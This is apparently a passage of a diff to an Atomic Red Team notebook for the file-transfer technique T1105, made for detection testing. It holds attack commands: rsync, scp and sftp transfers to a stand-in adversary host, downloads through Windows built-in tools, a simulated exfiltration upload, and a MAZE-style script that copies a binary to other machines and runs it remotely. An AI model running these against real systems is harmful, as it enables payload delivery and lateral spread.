copy (push)", - "Utilize rsync to perform a remote file copy (push)\n", - "**Supported Platforms:** linux, macos", - "#### Attack Commands: Run with `bash`\n", - "```bash\nrsync -r /tmp/adversary-rsync/ victim@victim-host:/tmp/victim-files\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nrsync -r /tmp/adversary-rsync/ victim@victim-host:/tmp/victim-files\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "976032a3", + "id": "09fbd7da", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "967d692c", + "id": "a2640aa9", + "metadata": {}, + "source": "### Atomic Test #2 - rsync remote file copy (pull)\nUtilize rsync to perform a remote file copy (pull)\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: rsync must be installed on the machine \n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v rsync)\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\n(pkg install -y rsync)||(sudo apt-get -y install rsync)\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cc6d7e53", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1105 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "95ebf79f", "metadata": {}, "source": [ - "### Atomic Test #2 - rsync remote file copy (pull)", - "Utilize rsync to perform a remote file copy (pull)\n", - "**Supported Platforms:** linux, macos", - "#### Attack Commands: Run with `bash`\n", - "```bash\nrsync -r adversary@adversary-host:/tmp/adversary-rsync/ /tmp/victim-files\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nrsync -r adversary@adversary-host:/tmp/adversary-rsync/ /tmp/victim-files\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "134dd2e8", + "id": "73d19af2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7ce378dd", + "id": "b6b66e50", "metadata": {}, "source": [ "### Atomic Test #3 - scp remote file copy (push)", "Utilize scp to perform a remote file copy (push)\n", "**Supported Platforms:** linux, macos", - "#### Attack Commands: Run with `bash`\n", - "```bash\nscp /tmp/adversary-scp victim@victim-host:/tmp/victim-files/\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nscp /tmp/adversary-scp victim@victim-host:/tmp/victim-files/\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9753edce", + "id": "e91a0d72", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "8a2a14dc", + "id": "914fdd29", "metadata": {}, "source": [ "### Atomic Test #4 - scp remote file copy (pull)", "Utilize scp to perform a remote file copy (pull)\n", "**Supported Platforms:** linux, macos", - "#### Attack Commands: Run with `bash`\n", - "```bash\nscp adversary@adversary-host:/tmp/adversary-scp /tmp/victim-files/\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nscp adversary@adversary-host:/tmp/adversary-scp /tmp/victim-files/\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "ed9f00ac", + "id": "3dfb4d3e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "092a1ba1", + "id": "903f07af", "metadata": {}, "source": [ "### Atomic Test #5 - sftp remote file copy (push)", "Utilize sftp to perform a remote file copy (push)\n", "**Supported Platforms:** linux, macos", - "#### Attack Commands: Run with `bash`\n", - "```bash\nsftp victim@victim-host:/tmp/victim-files/ <<< $'put /tmp/adversary-sftp'\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nsftp victim@victim-host:/tmp/victim-files/ <<< $'put /tmp/adversary-sftp'\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "eba567f3", + "id": "3ebe5adb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "712f2f5d", + "id": "f029743e", "metadata": {}, "source": [ "### Atomic Test #6 - sftp remote file copy (pull)", "Utilize sftp to perform a remote file copy (pull)\n", "**Supported Platforms:** linux, macos", - "#### Attack Commands: Run with `bash`\n", - "```bash\nsftp adversary@adversary-host:/tmp/adversary-sftp /tmp/victim-files/\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nsftp adversary@adversary-host:/tmp/adversary-sftp /tmp/victim-files/\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "19bd7d50", + "id": "695c9640", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "ab789dc8", + "id": "4acfc645", "metadata": {}, "source": [ "### Atomic Test #7 - certutil download (urlcache)", @@ -147,28 +169,28 @@ { "cell_type": "code", "execution_count": null, - "id": "512386d9", + "id": "cd9b810f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "a0965ef3", + "id": "30ade14d", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel Atomic-license.txt >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "86154b64", + "id": "b8229371", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "346ca109", + "id": "03643049", "metadata": {}, "source": [ "### Atomic Test #8 - certutil download (verifyctl)", @@ -181,28 +203,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0488dbb8", + "id": "a2fd2660", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "6902ba3a", + "id": "f3fd0808", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"certutil-$(Get-Date -format yyyy_MM_dd)\" -Force -Recurse -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5638b9cf", + "id": "311ba17b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "e84d0fce", + "id": "c93b181a", "metadata": {}, "source": [ "### Atomic Test #9 - Windows - BITSAdmin BITS Download", @@ -215,14 +237,14 @@ { "cell_type": "code", "execution_count": null, - "id": "c6b0940e", + "id": "33585629", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "69e37eb3", + "id": "2ed7a5c8", "metadata": {}, "source": [ "### Atomic Test #10 - Windows - PowerShell Download", @@ -235,28 +257,28 @@ { "cell_type": "code", "execution_count": null, - "id": "83c433e5", + "id": "60aa584b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "2af50a0c", + "id": "96a63cde", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\Atomic-license.txt -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f340cd60", + "id": "4111f661", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "9c47de32", + "id": "90f05dd8", "metadata": {}, "source": [ "### Atomic Test #11 - OSTAP Worming Activity", @@ -270,14 +292,14 @@ { "cell_type": "code", "execution_count": null, - "id": "6938841e", + "id": "ca47a602", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "16752238", + "id": "5970484b", "metadata": {}, "source": [ "### Atomic Test #12 - svchost writing a file to a UNC path", @@ -291,42 +313,42 @@ { "cell_type": "code", "execution_count": null, - "id": "2c4e9a7a", + "id": "241ab6b6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "02dd8624", + "id": "f49a040b", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel C:\\T1105.txt >nul 2>&1\ndel C:\\\\svchost.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9b4dd184", + "id": "a7f16b81", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "5871e381", + "id": "39593c63", "metadata": {}, - "source": "### Atomic Test #13 - Download a File with Windows Defender MpCmdRun.exe\nUses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed).\nThe input arguments \"remote_file\" and \"local_path\" can be used to specify the download URL and the name of the output file.\nBy default, the test downloads the Atomic Red Team license file to the temp directory.\n\nMore info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `command_prompt`!\n##### Description: Must have a Windows Defender version with MpCmdRun.exe installed\n##### Check Prereq Commands:\n```cmd\ncd \"%ProgramData%\\Microsoft\\Windows Defender\\platform\\4.18*\"\nMpCmdRun.exe /?\n\n```\n##### Get Prereq Commands:\n```cmd\nEcho \"A version of Windows Defender with MpCmdRun.exe must be installed manually\"\n```" + "source": "### Atomic Test #13 - Download a File with Windows Defender MpCmdRun.exe\nUses Windows Defender MpCmdRun.exe to download a file from the internet (must have version 4.18 installed).\nThe input arguments \"remote_file\" and \"local_path\" can be used to specify the download URL and the name of the output file.\nBy default, the test downloads the Atomic Red Team license file to the temp directory.\n\nMore info and how to find your version can be found here https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `command_prompt`!\n##### Description: Must have a Windows Defender version with MpCmdRun.exe installed\n##### Check Prereq Commands:\n```cmd\ncd \"%ProgramData%\\Microsoft\\Windows Defender\\platform\\4.18*\"\nMpCmdRun.exe /? >nul 2>&1\n\n```\n##### Get Prereq Commands:\n```cmd\nEcho \"A version of Windows Defender with MpCmdRun.exe must be installed manually\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cee92f0a", + "id": "15d004f6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 13 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0f920bbe", + "id": "05430fa1", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -336,42 +358,42 @@ { "cell_type": "code", "execution_count": null, - "id": "0561b45d", + "id": "2d5da953", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "1a660421", + "id": "f4a57659", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\Atomic-license.txt >nul 2>&1\ndel %temp%\\MpCmdRun.log >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "ea8f0ecb", + "id": "c0dd240c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "04d16180", + "id": "9e5fbe6b", "metadata": {}, "source": "### Atomic Test #14 - whois file download\nDownload a remote file using the whois utility\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: The whois and timeout commands must be present\n\n##### Check Prereq Commands:\n```sh\nwhich whois && which timeout\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please install timeout and the whois package\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "44192222", + "id": "7a6d8ae3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 14 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fd06c366", + "id": "782defa9", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -381,28 +403,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5220fba0", + "id": "236f6097", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "f2763e31", + "id": "990835e5", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/T1105.whois.out\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cb080cc9", + "id": "c9d7f5d9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 14 -Cleanup" }, { "cell_type": "markdown", - "id": "0e752101", + "id": "ca4a2472", "metadata": {}, "source": [ "### Atomic Test #15 - File Download via PowerShell", @@ -415,14 +437,14 @@ { "cell_type": "code", "execution_count": null, - "id": "d5bc9582", + "id": "f010b6e0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "5866527f", + "id": "714a9158", "metadata": {}, "source": [ "### Atomic Test #16 - File download with finger.exe on Windows", @@ -435,14 +457,14 @@ { "cell_type": "code", "execution_count": null, - "id": "f97f7b75", + "id": "017e1287", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 16" }, { "cell_type": "markdown", - "id": "3b00dd41", + "id": "19f9aefa", "metadata": {}, "source": [ "### Atomic Test #17 - Download a file with IMEWDBLD.exe", @@ -455,42 +477,42 @@ { "cell_type": "code", "execution_count": null, - "id": "84da7b58", + "id": "9b420e8d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 17" }, { "cell_type": "markdown", - "id": "efe33b1e", + "id": "f9f45aa8", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$inetcache = $env:LOCALAPPDATA + \"\\Microsoft\\Windows\\INetCache\\\" \n$file_to_be_removed = [string[]] (Get-ChildItem -Path $inetcache -Include T1105* -Recurse -Force -File -ErrorAction SilentlyContinue)\nif(\"\" -ne \"$file_to_be_removed\") { Remove-Item \"$file_to_be_removed\" -ErrorAction Ignore }\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7ddb0816", + "id": "c73b8169", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 17 -Cleanup" }, { "cell_type": "markdown", - "id": "bab67fce", + "id": "f3f4e423", "metadata": {}, - "source": "### Atomic Test #18 - Curl Download File\nThe following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior.\nExpected output will include whether the file downloaded successfully or not.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Curl must be installed on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path C:\\Windows\\System32\\Curl.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip\" -Outfile $env:temp\\curl.zip\nExpand-Archive -Path $env:temp\\curl.zip -DestinationPath $env:temp\\curl\nCopy-Item $env:temp\\curl\\curl-7.79.1-win64-mingw\\bin\\curl.exe C:\\Windows\\System32\\Curl.exe\nRemove-Item $env:temp\\curl\nRemove-Item $env:temp\\curl.zip\n\n```" + "source": "### Atomic Test #18 - Curl Download File\nThe following Atomic utilizes native curl.exe, or downloads it if not installed, to download a remote DLL and output to a number of directories to simulate malicious behavior.\nExpected output will include whether the file downloaded successfully or not.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Curl must be installed on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path C:\\Windows\\System32\\Curl.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip\" -Outfile \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl.zip\"\nExpand-Archive -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl.zip\" -DestinationPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl\"\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl\\curl-7.79.1-win64-mingw\\bin\\curl.exe\" C:\\Windows\\System32\\Curl.exe\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl\"\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl.zip\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "27f13e33", + "id": "02bd45c3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 18 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2dd26fe5", + "id": "fb47854b", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -500,42 +522,42 @@ { "cell_type": "code", "execution_count": null, - "id": "2f2b0fab", + "id": "388b72bf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 18" }, { "cell_type": "markdown", - "id": "23f6d233", + "id": "d2f44aa7", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel c:\\users\\public\\music\\allthethingsx64.dll >nul 2>&1\ndel c:\\users\\public\\music\\allthethingsx64.dll >nul 2>&1\ndel c:\\programdata\\allthethingsx64.dll >nul 2>&1\ndel %Temp%\\allthethingsx64.dll >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0a3224fc", + "id": "39f07439", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 18 -Cleanup" }, { "cell_type": "markdown", - "id": "4eb2000e", + "id": "eeea61bb", "metadata": {}, - "source": "### Atomic Test #19 - Curl Upload File\nThe following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration\nExpected output will include whether the file uploaded successfully or not.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Curl must be installed on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path C:\\Windows\\System32\\Curl.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \u201chttps://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip\u201d -Outfile $env:temp\\curl.zip\nExpand-Archive -Path $env:temp\\curl.zip -DestinationPath $env:temp\\curl\nCopy-Item $env:temp\\curl\\curl-7.79.1-win64-mingw\\bin\\curl.exe C:\\Windows\\System32\\Curl.exe\nRemove-Item $env:temp\\curl\nRemove-Item $env:temp\\curl.zip\n\n```\n##### Description: A file must be created to upload\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path c:\\temp\\atomictestfile.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\necho \"This is an Atomic Test File\" > c:\\temp\\atomictestfile.txt\n\n```" + "source": "### Atomic Test #19 - Curl Upload File\nThe following Atomic utilizes native curl.exe, or downloads it if not installed, to upload a txt file to simulate data exfiltration\nExpected output will include whether the file uploaded successfully or not.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Curl must be installed on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path C:\\Windows\\System32\\Curl.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip\" -Outfile PathToAtomicsFolder\\..\\ExternalPayloads\\curl.zip\nExpand-Archive -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl.zip\" -DestinationPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl\"\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl\\curl-7.79.1-win64-mingw\\bin\\curl.exe\" C:\\Windows\\System32\\Curl.exe\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl\"\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\curl.zip\"\n\n```\n##### Description: A file must be created to upload\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path c:\\temp\\atomictestfile.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\necho \"This is an Atomic Test File\" > c:\\temp\\atomictestfile.txt\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dc467a4f", + "id": "59304a45", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 19 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5745c447", + "id": "1663fb6f", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -545,104 +567,104 @@ { "cell_type": "code", "execution_count": null, - "id": "814e8bfd", + "id": "501dc0ef", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 19" }, { "cell_type": "markdown", - "id": "fa973ac9", + "id": "c7fab14a", "metadata": {}, - "source": "### Atomic Test #20 - Download a file with Microsoft Connection Manager Auto-Download\nUses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. \nThe issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user.\nUpon successful execution the test will open calculator and Notepad executable for 10 seconds.\nreference:\nhttps://twitter.com/ElliotKillick/status/1455897435063074824\nhttps://github.com/LOLBAS-Project/LOLBAS/pull/151\nhttps://lolbas-project.github.io/lolbas/Binaries/Cmdl32/\nhttps://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{Path_to_file} must exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1105\\src\\T1105.bat) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1105\\src\\T1105.bat) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105.bat\" -OutFile \"PathToAtomicsFolder\\T1105\\src\\T1105.bat\"\n\n```" + "source": "### Atomic Test #20 - Download a file with Microsoft Connection Manager Auto-Download\nUses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. \nThe issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user.\nUpon successful execution the test will open calculator and Notepad executable for 10 seconds.\nreference:\nhttps://twitter.com/ElliotKillick/status/1455897435063074824\nhttps://github.com/LOLBAS-Project/LOLBAS/pull/151\nhttps://lolbas-project.github.io/lolbas/Binaries/Cmdl32/\nhttps://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: #{Path_to_file} must exist on system.\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1105\\src\\T1105.bat\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1105\\src\\T1105.bat\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105.bat\" -OutFile \"PathToAtomicsFolder\\T1105\\src\\T1105.bat\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5ed0cafc", + "id": "123d45c2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 20 -GetPreReqs" }, { "cell_type": "markdown", - "id": "390f28e5", + "id": "0b550366", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1105\\src\\T1105.bat 1>NUL \n```" + "```command_prompt\n\"PathToAtomicsFolder\\T1105\\src\\T1105.bat\" 1>NUL \n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3fc261a1", + "id": "1eac2db8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 20" }, { "cell_type": "markdown", - "id": "abe27a1b", + "id": "7c0cbea1", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel /f/s/q %temp%\\T1105 >nul 2>&1\nrmdir /s/q %temp%\\T1105 >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7ea18397", + "id": "154f5c8b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 20 -Cleanup" }, { "cell_type": "markdown", - "id": "5b1617ef", + "id": "b4970311", "metadata": {}, - "source": "### Atomic Test #21 - MAZE Propagation Script\nThis test simulates MAZE ransomware's propogation script that searches through a list of computers, tests connectivity to them, and copies a binary file to the Windows\\Temp directory of each one. \nUpon successful execution, a specified binary file will attempt to be copied to each online machine, a list of the online machines, as well as a list of offline machines will be output to a specified location.\nReference: https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Binary file must exist at specified location (#{binary_file})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:comspec) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nwrite-host \"The binary_file input parameter must be set to a binary that exists on this computer.\"\n\n```\n##### Description: Machine list must exist at specified location (\"$env:temp\\T1105MachineList.txt\")\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$env:temp\\T1105MachineList.txt\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nnew-item -path \"$env:temp\\T1105MachineList.txt\"\necho \"A machine list file has been generated at \"$env:temp\\T1105MachineList.txt\". Please enter the machines to target there, one machine per line.\"\n\n```" + "source": "### Atomic Test #21 - MAZE Propagation Script\nThis test simulates MAZE ransomware's propogation script that searches through a list of computers, tests connectivity to them, and copies a binary file to the Windows\\Temp directory of each one. \nUpon successful execution, a specified binary file will attempt to be copied to each online machine, a list of the online machines, as well as a list of offline machines will be output to a specified location.\nReference: https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Binary file must exist at specified location (#{binary_file})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:comspec) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nwrite-host \"The binary_file input parameter must be set to a binary that exists on this computer.\"\n\n```\n##### Description: Machine list must exist at specified location (\"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105MachineList.txt\")\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105MachineList.txt\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nnew-item -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105MachineList.txt\" | Out-Null\necho \"A machine list file has been generated at \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105MachineList.txt\". Please enter the machines to target there, one machine per line.\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "411f657b", + "id": "5fa4e48f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 21 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ebbf70c8", + "id": "8c52ce1f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$machine_list = \"$env:temp\\T1105MachineList.txt\"\n$offline_list = \"$env:temp\\T1105OfflineHosts.txt\"\n$completed_list = \"$env:temp\\T1105CompletedHosts.txt\"\nforeach ($machine in get-content -path \"$machine_list\")\n{if (test-connection -Count 1 -computername $machine -quiet) \n{cmd /c copy \"$env:comspec\" \"\\\\$machine\\C$\\Windows\\Temp\\T1105.exe\"\necho $machine >> \"$completed_list\"\nwmic /node: \"$machine\" process call create \"regsvr32.exe /i C:\\Windows\\Temp\\T1105.exe\"}\nelse\n{echo $machine >> \"$offline_list\"}}\n```" + "```powershell\n$machine_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105MachineList.txt\"\n$offline_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105OfflineHosts.txt\"\n$completed_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\"\nforeach ($machine in get-content -path \"$machine_list\")\n{if (test-connection -Count 1 -computername $machine -quiet) \n{cmd /c copy \"$env:comspec\" \"\\\\$machine\\C$\\Windows\\Temp\\T1105.exe\"\necho $machine >> \"$completed_list\"\nwmic /node: \"$machine\" process call create \"regsvr32.exe /i C:\\Windows\\Temp\\T1105.exe\"}\nelse\n{echo $machine >> \"$offline_list\"}}\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "be11303b", + "id": "b544efd7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1105 -TestNumbers 21" }, { "cell_type": "markdown", - "id": "8f7cb484", + "id": "91edc92c", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nif (test-path \"$env:temp\\T1105CompletedHosts.txt\") \n{foreach ($machine in get-content -path \"$env:temp\\T1105CompletedHosts.txt\")\n{wmic /node: \"$machine\" process where name='\"regsvr32.exe\"' call terminate | out-null\nRemove-Item -path \"\\\\$machine\\C$\\Windows\\Temp\\T1105.exe\" -force -erroraction silentlycontinue}}\nRemove-Item -path \"$env:temp\\T1105OfflineHosts.txt\" -erroraction silentlycontinue\nRemove-item -path \"$env:temp\\T1105CompletedHosts.txt\" -erroraction silentlycontinue\n```" + "source": "#### Cleanup: 